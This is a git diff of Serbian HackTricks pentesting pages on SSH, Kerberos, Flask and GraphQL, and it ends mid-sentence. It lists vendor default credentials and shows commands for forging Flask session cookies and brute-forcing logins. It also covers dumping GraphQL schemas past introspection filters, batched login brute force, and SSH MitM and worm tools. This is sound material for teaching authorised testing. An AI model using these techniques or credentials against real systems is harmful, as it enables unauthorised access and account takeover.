{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md index 80f3bdf17..7b85ad138 100644 --- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md +++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md @@ -4,7 +4,9 @@ # **Podrazumevane lozinke** -{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %} +{{#ref}} +http://www.vulnerabilityassessment.co.uk/passwordsC.htm +{{#endref}} # Konfiguracione datoteke ```text diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index dd0cee5d9..5eb3533d2 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -27,7 +27,9 @@ PORT STATE SERVICE MS14-068 greška omogućava napadaču da manipuliše Kerberos prijavnim tokenom legitimnog korisnika kako bi lažno tvrdio da ima povišene privilegije, kao što je biti Domain Admin. Ova lažna tvrdnja se pogrešno validira od strane Domain Controller-a, omogućavajući neovlašćen pristup mrežnim resursima širom Active Directory šume. -{% embed url="https://adsecurity.org/?p=541" %} +{{#ref}} +https://adsecurity.org/?p=541 +{{#endref}} Ostali eksploiti: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index 9a39c70fc..4877a96db 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -2,11 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - - ## Osnovne informacije -**SSH (Secure Shell ili Secure Socket Shell)** je mrežni protokol koji omogućava sigurnu vezu sa računarom preko nesigurne mreže. Ključan je za očuvanje poverljivosti i integriteta podataka prilikom pristupa udaljenim sistemima. +**SSH (Secure Shell ili Secure Socket Shell)** je mrežni protokol koji omogućava sigurnu vezu sa računarom preko nesigurne mreže. Bitan je za očuvanje poverljivosti i integriteta podataka prilikom pristupa udaljenim sistemima. **Podrazumevani port:** 22 ``` @@ -23,7 +21,7 @@ - [libssh](https://www.libssh.org) – multiplatformska C biblioteka koja implementira SSHv2 protokol sa vezama u [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) i [R](https://github.com/ropensci/ssh); koristi se od strane KDE za sftp i od strane GitHub-a za git SSH infrastrukturu - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 server biblioteka napisana u ANSI C i usmerena na ugrađene, RTOS i okruženja sa ograničenim resursima -- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java biblioteka zasnovana na Apache MINA +- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java biblioteka se zasniva na Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protokol biblioteka ## Enumeracija @@ -41,15 +39,15 @@ ssh-audit je alat za reviziju konfiguracije ssh servera i klijenta. **Karakteristike:** - Podrška za SSH1 i SSH2 protokol servera; -- analiza konfiguracije SSH klijenta; -- preuzimanje banera, prepoznavanje uređaja ili softvera i operativnog sistema, detekcija kompresije; -- prikupljanje algoritama za razmenu ključeva, host-key, enkripciju i kod autentifikacije poruka; +- analizira konfiguraciju SSH klijenta; +- uzima banner, prepoznaje uređaj ili softver i operativni sistem, detektuje kompresiju; +- prikuplja algoritme za razmenu ključeva, host-key, enkripciju i kod autentifikacije poruka; - izlazne informacije o algoritmima (dostupno od, uklonjeno/onemogućeno, nesigurno/slabo/legacy, itd); - izlazne preporuke za algoritme (dodati ili ukloniti na osnovu prepoznate verzije softvera); - izlazne informacije o bezbednosti (povezani problemi, dodeljena CVE lista, itd); -- analiza kompatibilnosti verzija SSH na osnovu informacija o algoritmima; +- analizira kompatibilnost verzija SSH na osnovu informacija o algoritmima; - istorijske informacije iz OpenSSH, Dropbear SSH i libssh; -- radi na Linuxu i Windowsu; +- radi na Linux-u i Windows-u; - bez zavisnosti ```bash usage: ssh-audit.py [-1246pbcnjvlt] @@ -105,7 +103,7 @@ msf> use scanner/ssh/ssh_enumusers Neki uobičajeni ssh kredencijali [ovde](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [ovde](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) i ispod. -### Privatni ključ Brute Force +### Private Key Brute Force Ako znate neke ssh privatne ključeve koji bi mogli biti korišćeni... hajde da probamo. Možete koristiti nmap skriptu: ``` @@ -119,7 +117,9 @@ Ili koristite `ssh-keybrute.py` (nativni python3, lagan i sa omogućеним nas #### Poznati loši ključevi mogu se naći ovde: -{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %} +{{#ref}} +https://github.com/rapid7/ssh-badkeys/tree/master/authorized +{{#endref}} #### Slabi SSH ključevi / Debian predvidljiv PRNG @@ -129,27 +129,27 @@ Trebalo bi da pogledate ovde kako biste tražili važeće ključeve za žrtvinu ### Kerberos -**crackmapexec** koristeći `ssh` protokol može koristiti opciju `--kerberos` za **autentifikaciju putem kerberos-a**.\ +**crackmapexec** koristeći `ssh` protokol može koristiti opciju `--kerberos` za **autentifikaciju putem kerberosa**.\ Za više informacija pokrenite `crackmapexec ssh --help`. ## Podrazumevani akreditivi -| **Proizvođač** | **Korisnička imena** | **Lozinke** | -| --------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| APC | apc, device | apc | -| Brocade | admin | admin123, password, brocade, fibranne | -| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | -| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | -| D-Link | admin, user | private, admin, user | -| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | -| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | -| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | -| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | -| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | -| Juniper | netscreen | netscreen | -| NetApp | admin | netapp123 | -| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | -| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | +| **Dobavljač** | **Korisnička imena** | **Lozinke** | +| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| APC | apc, uređaj | apc | +| Brocade | admin | admin123, password, brocade, fibranne | +| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | +| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | +| D-Link | admin, user | private, admin, user | +| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | +| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | +| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | +| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | +| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | +| Juniper | netscreen | netscreen | +| NetApp | admin | netapp123 | +| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | +| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | ## SSH-MitM @@ -161,7 +161,7 @@ Ako ste u lokalnoj mreži kao žrtva koja će se povezati na SSH server koriste - **Presretanje i logovanje:** Napadačeva mašina deluje kao **proxy**, **hvatajući** korisničke podatke za prijavu pretvarajući se da je legitimni SSH server. - **Izvršavanje komandi i prosleđivanje:** Na kraju, napadačev server **loguje korisničke akreditive**, **prosleđuje komande** pravom SSH serveru, **izvršava** ih i **šalje rezultate nazad** korisniku, čineći proces da izgleda besprekorno i legitimno. -[**SSH MITM**](https://github.com/jtesta/ssh-mitm) radi tačno ono što je opisano iznad. +[**SSH MITM**](https://github.com/jtesta/ssh-mitm) radi upravo ono što je opisano iznad. Da biste uhvatili stvarni MitM, mogli biste koristiti tehnike poput ARP spoofinga, DNS spoofinga ili drugih opisanih u [**Napadima na mrežno spoofing**](../generic-methodologies-and-resources/pentesting-network/#spoofing). @@ -173,16 +173,16 @@ SSH-Snake automatski i rekurzivno obavlja sledeće zadatke: 1. Na trenutnom sistemu, pronađite sve SSH privatne ključeve, 2. Na trenutnom sistemu, pronađite sve hostove ili odredišta (user@host) koja privatni ključevi mogu prihvatiti, -3. Pokušajte da se SSH povežete sa svim odredištima koristeći sve otkrivene privatne ključeve, +3. Pokušajte da se SSH-ujete u sve odredišta koristeći sve otkrivene privatne ključeve, 4. Ako se uspešno povežete na odredište, ponovite korake #1 - #4 na povezanom sistemu. -Potpuno je samoreplicirajuće i samoproširujuće -- i potpuno bez datoteka. +Potpuno se replicira i širi -- i potpuno je bez datoteka. ## Konfiguracione greške ### Root prijava -Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, što predstavlja značajan sigurnosni rizik. **Onemogućavanje root prijave** je kritičan korak u obezbeđivanju servera. Neovlašćen pristup sa administratorskim privilegijama i napadi brute force mogu se ublažiti ovom promenom. +Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, što predstavlja značajan bezbednosni rizik. **Onemogućavanje root prijave** je kritičan korak u obezbeđivanju servera. Neovlašćen pristup sa administrativnim privilegijama i napadi brute force mogu se ublažiti ovom promenom. **Da biste onemogućili root prijavu u OpenSSH:** @@ -197,7 +197,7 @@ Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, ### Izvršavanje komandi SFTP -Postoji uobičajena greška koja se dešava sa SFTP podešavanjima, gde administratori nameravaju da korisnici razmenjuju datoteke bez omogućavanja daljinskog pristupa shell-u. Iako su korisnici postavljeni sa neinteraktivnim shell-ovima (npr. `/usr/bin/nologin`) i ograničeni na određeni direktorijum, ostaje sigurnosna rupa. **Korisnici mogu zaobići ova ograničenja** tražeći izvršavanje komande (poput `/bin/bash`) odmah nakon prijavljivanja, pre nego što njihov dodeljeni neinteraktivni shell preuzme. Ovo omogućava neovlašćeno izvršavanje komandi, potkopavajući nameravane sigurnosne mere. +Postoji uobičajena greška koja se dešava sa SFTP podešavanjima, gde administratori nameravaju da korisnici razmenjuju datoteke bez omogućavanja daljinskog pristupa shell-u. Iako su korisnici postavljeni sa neinteraktivnim shell-ovima (npr. `/usr/bin/nologin`) i ograničeni na određeni direktorijum, ostaje sigurnosna rupa. **Korisnici mogu zaobići ova ograničenja** tražeći izvršavanje komande (kao što je `/bin/bash`) odmah nakon prijavljivanja, pre nego što njihov dodeljeni neinteraktivni shell preuzme. Ovo omogućava neovlašćeno izvršavanje komandi, potkopavajući nameravane mere bezbednosti. [Primer odavde](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -242,7 +242,7 @@ sudo ssh -L :: -N -f @) diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index ee645480a..67dc6dc22 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -24,11 +24,13 @@ Kolačić je takođe potpisan koristeći lozinku Alat za komandnu liniju za preuzimanje, dekodiranje, brute-force i kreiranje sesijskih kolačića Flask aplikacije pogađanjem tajnih ključeva. -{% embed url="https://pypi.org/project/flask-unsign/" %} +{{#ref}} +https://pypi.org/project/flask-unsign/ +{{#endref}} ```bash pip3 install flask-unsign ``` -#### **Dekodiraj kolačić** +#### **Dekodiraj Kolačić** ```bash flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' ``` @@ -48,7 +50,9 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy Alat za komandnu liniju za brute-force napade na veb sajtove koristeći kolačiće kreirane sa flask-unsign. -{% embed url="https://github.com/Tagvi/ripsession" %} +{{#ref}} +https://github.com/Tagvi/ripsession +{{#endref}} ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 15c8b3836..a659674db 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -2,16 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} - ## Uvod -GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka za prikupljanje podataka, GraphQL omogućava preuzimanje svih potrebnih informacija kroz **jedan zahtev**. Ova pojednostavljenja značajno **koriste programerima** smanjujući složenost njihovih procesa preuzimanja podataka. +GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka za prikupljanje podataka, GraphQL omogućava preuzimanje svih potrebnih informacija putem **jednog zahteva**. Ova pojednostavljenja značajno **pomažu programerima** smanjujući složenost njihovih procesa prikupljanja podataka. ## GraphQL i bezbednost -Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna tačka koju treba napomenuti je da **GraphQL po defaultu ne uključuje mehanizme autentifikacije**. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez pravilne autentifikacije, GraphQL krajnje tačke mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik. +Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna tačka koju treba napomenuti je da **GraphQL po defaultu ne uključuje mehanizme autentifikacije**. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez odgovarajuće autentifikacije, GraphQL krajnje tačke mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik. -### Napadi Brute Force na direktorijume i GraphQL +### Napadi brute force na direktorijume i GraphQL Da bi se identifikovale izložene GraphQL instance, preporučuje se uključivanje specifičnih putanja u napade brute force na direktorijume. Ove putanje su: @@ -24,11 +23,11 @@ Da bi se identifikovale izložene GraphQL instance, preporučuje se uključivanj - `/graphql/api` - `/graphql/graphql` -Identifikacija otvorenih GraphQL instanci omogućava ispitivanje podržanih upita. Ovo je ključno za razumevanje podataka dostupnih kroz krajnju tačku. GraphQL-ov introspekcijski sistem olakšava ovo detaljno prikazujući upite koje šema podržava. Za više informacija o tome, pogledajte GraphQL dokumentaciju o introspekciji: [**GraphQL: Jezik upita za API-e.**](https://graphql.org/learn/introspection/) +Identifikacija otvorenih GraphQL instanci omogućava ispitivanje podržanih upita. Ovo je ključno za razumevanje podataka dostupnih preko krajnje tačke. GraphQL-ov introspekcioni sistem olakšava ovo detaljno prikazujući upite koje šema podržava. Za više informacija o tome, pogledajte GraphQL dokumentaciju o introspekciji: [**GraphQL: Jezik upita za API-e.**](https://graphql.org/learn/introspection/) ### Otisak -Alat [**graphw00f**](https://github.com/dolevf/graphw00f) je sposoban da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog audita. +Alat [**graphw00f**](https://github.com/dolevf/graphw00f) može da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog audita. #### Univerzalni upiti @@ -159,15 +158,15 @@ name } } ``` -Upit za inline introspekciju: +Inline introspection upit: ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` -Poslednja linija koda je graphql upit koji će izbaciti sve meta-informacije iz graphql (imena objekata, parametre, tipove...) +Poslednja linija koda je graphql upit koji će izbaciti sve meta-informacije iz graphql-a (imena objekata, parametre, tipove...) ![](<../../images/image (363).png>) -Ako je introspekcija omogućena, možete koristiti [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) da u GUI-ju vidite sve opcije. +Ako je introspekcija omogućena, možete koristiti [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) da u GUI-u vidite sve opcije. ### Upit @@ -177,11 +176,11 @@ U introspekciji možete pronaći **koji objekat možete direktno upititi** (jer ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) -Napomena da je tip upita "_flags_" "_Flags_", i ovaj objekat je definisan kao ispod: +Napomena da je tip upita "_flags_" "_Flags_", a ovaj objekat je definisan kao ispod: ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) -Možete videti da su objekti "_Flags_" sastavljeni od **name** i **value**. Zatim možete dobiti sve nazive i vrednosti zastavica sa upitom: +Možete videti da se objekti "_Flags_" sastoje od **name** i **value**. Zatim možete dobiti sve nazive i vrednosti zastavica sa upitom: ```javascript query={flags{name, value}} ``` @@ -194,7 +193,7 @@ Možete ga jednostavno upititi sa: query = { hiddenFlags } ``` U drugom primeru gde su bila 2 objekta unutar objekta tipa "_Query_": "_user_" i "_users_".\ -Ako ovim objektima nije potrebna nijedna argumentacija za pretragu, mogli bismo **dobiti sve informacije iz njih** jednostavno **tražeći** podatke koje želimo. U ovom primeru sa Interneta mogli bismo izvući sačuvana korisnička imena i lozinke: +Ako ovim objektima nisu potrebni argumenti za pretragu, mogli bismo **dobiti sve informacije iz njih** samo **tražeći** podatke koje želimo. U ovom primeru sa Interneta mogli bismo izvući sačuvana korisnička imena i lozinke: ![](<../../images/image (880).png>) @@ -224,7 +223,7 @@ Ako možete pretraživati po string tipu, kao: `query={theusers(description: "") ### Pretraga -U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** se identifikuju po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka. +U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** se identifikuju po svom **email-u** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka. Možete **pretraživati** osobe **po** **imenu** i dobiti njihove email adrese: ```javascript @@ -286,7 +285,7 @@ name **Mutacije se koriste za pravljenje promena na serverskoj strani.** -U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećoj slici "_MutationType_" se zove "_Mutation_" i objekat "_Mutation_" sadrži imena mutacija (kao što je "_addPerson_" u ovom slučaju): +U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećem slici "_MutationType_" se zove "_Mutation_" i objekat "_Mutation_" sadrži imena mutacija (kao što je "_addPerson_" u ovom slučaju): ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) @@ -335,7 +334,7 @@ releaseYear ``` ### Direktiva Preopterećenja -Kao što je objašnjeno u [**jednoj od ranjivosti opisane u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se serveru nanele operacije dok nije moguće izvršiti DoS napad. +Kao što je objašnjeno u [**jednoj od ranjivosti opisanim u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se server naterao da troši operacije dok ne postane moguće izvršiti DoS napad. ### Grupisanje brute-force u 1 API zahtevu @@ -346,7 +345,7 @@ Ispod možete pronaći najjednostavniju demonstraciju zahteva za autentifikaciju ![](<../../images/image (1081).png>) -Kao što možemo videti iz snimka odgovora, prvi i treći zahtevi su vratili _null_ i reflektovali odgovarajuće informacije u _error_ sekciji. **Druga mutacija je imala ispravne autentifikacione** podatke i odgovor ima ispravan token za autentifikacionu sesiju. +Kao što možemo videti iz snimka odgovora, prvi i treći zahtevi su vratili _null_ i reflektovali odgovarajuće informacije u _error_ sekciji. **Druga mutacija je imala ispravne** podatke za autentifikaciju i odgovor ima ispravan token sesije za autentifikaciju. ![](<../../images/image (119) (1).png>) @@ -360,7 +359,7 @@ Lepa **lista reči** za otkrivanje [**GraphQL entiteta može se pronaći ovde**] ### Zaobilaženje GraphQL introspekcijskih odbrana -Da bi se zaobišle restrikcije na introspekcijske upite u API-jima, umetanje **posebnog karaktera nakon `__schema` ključne reči** se pokazuje kao efikasno. Ova metoda koristi uobičajene propuste programera u regex obrascima koji imaju za cilj da blokiraju introspekciju fokusirajući se na `__schema` ključnu reč. Dodavanjem karaktera kao što su **razmaci, novi redovi i zarezi**, koje GraphQL ignoriše, ali možda nisu uzeti u obzir u regex-u, restrikcije se mogu zaobići. Na primer, introspekcijski upit sa novim redom nakon `__schema` može zaobići takve odbrane: +Da bi se zaobišle restrikcije na upite za introspekciju u API-jima, umetanje **posebnog karaktera nakon `__schema` ključne reči** se pokazuje kao efikasno. Ova metoda koristi uobičajene propuste programera u regex obrascima koji imaju za cilj da blokiraju introspekciju fokusirajući se na `__schema` ključnu reč. Dodavanjem karaktera kao što su **razmaci, novi redovi i zarezi**, koje GraphQL ignoriše, ali možda nisu uzeti u obzir u regex-u, restrikcije se mogu zaobići. Na primer, upit za introspekciju sa novim redom nakon `__schema` može zaobići takve odbrane: ```bash # Example with newline to bypass { @@ -372,7 +371,7 @@ Ako ne uspe, razmotrite alternativne metode zahteva, kao što su **GET zahtevi** ### Pokušajte sa WebSockets -Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo_t5uUK50), proverite da li bi moglo biti moguće povezati se na graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websockets-a otkrije šemu graphQL-a: +Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo_t5uUK50), proverite da li bi moglo biti moguće povezati se na graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websocket-a otkrije šemu graphQL-a: ```javascript ws = new WebSocket("wss://target/graphql", "graphql-ws") ws.onopen = function start(event) { @@ -396,7 +395,7 @@ payload: GQL_CALL, ws.send(JSON.stringify(graphqlMsg)) } ``` -### **Otkrivanje Izloženih GraphQL Struktura** +### **Otkriće Izloženih GraphQL Struktura** Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta za unapred učitane upite u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći `Sources` tab u alatima za razvoj, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za razvoj su: ```javascript @@ -426,15 +425,15 @@ Zato, pošto se CSRF zahtevi poput prethodnih šalju **bez preflight zahteva**, Međutim, imajte na umu da je nova podrazumevana vrednost kolačića za `samesite` oznaku u Chrome-u `Lax`. To znači da će kolačić biti poslat samo sa treće strane u GET zahtevima. -Napomena je da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.** +Napomena da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.** -Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom kredencijala korisnika. +Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom korisničkih akreditiva. Za više informacija **proverite** [**originalni post ovde**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). ## Zloupotreba WebSocket-a između sajtova u GraphQL -Slično CRSF ranjivostima koje zloupotrebljavaju GraphQL, takođe je moguće izvršiti **zloupotrebu WebSocket-a između sajtova da bi se zloupotrebila autentifikacija sa GraphQL sa nezaštićenim kolačićima** i naterati korisnika da izvrši neočekivane radnje u GraphQL. +Slično CRSF ranjivostima koje zloupotrebljavaju GraphQL, takođe je moguće izvršiti **Zloupotrebu WebSocket-a između sajtova da bi se zloupotrebila autentifikacija sa GraphQL sa nezaštićenim kolačićima** i naterati korisnika da izvrši neočekivane radnje u GraphQL. Za više informacija proverite: @@ -444,7 +443,7 @@ Za više informacija proverite: ## Autorizacija u GraphQL -Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevaoca, ali ne i autorizaciju. +Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevača, ali ne i autorizaciju. Modifikovanje ulaznih varijabli upita može dovesti do osetljivih podataka o računu [leakovanih](https://hackerone.com/reports/792927). @@ -456,7 +455,7 @@ Mutacija može čak dovesti do preuzimanja računa pokušavajući da modifikuje "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` -### Bypass autorizacije u GraphQL-u +### Bypass autorizacije u GraphQL [Spajanje upita](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) može zaobići slab sistem autentifikacije. @@ -464,15 +463,15 @@ U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebala
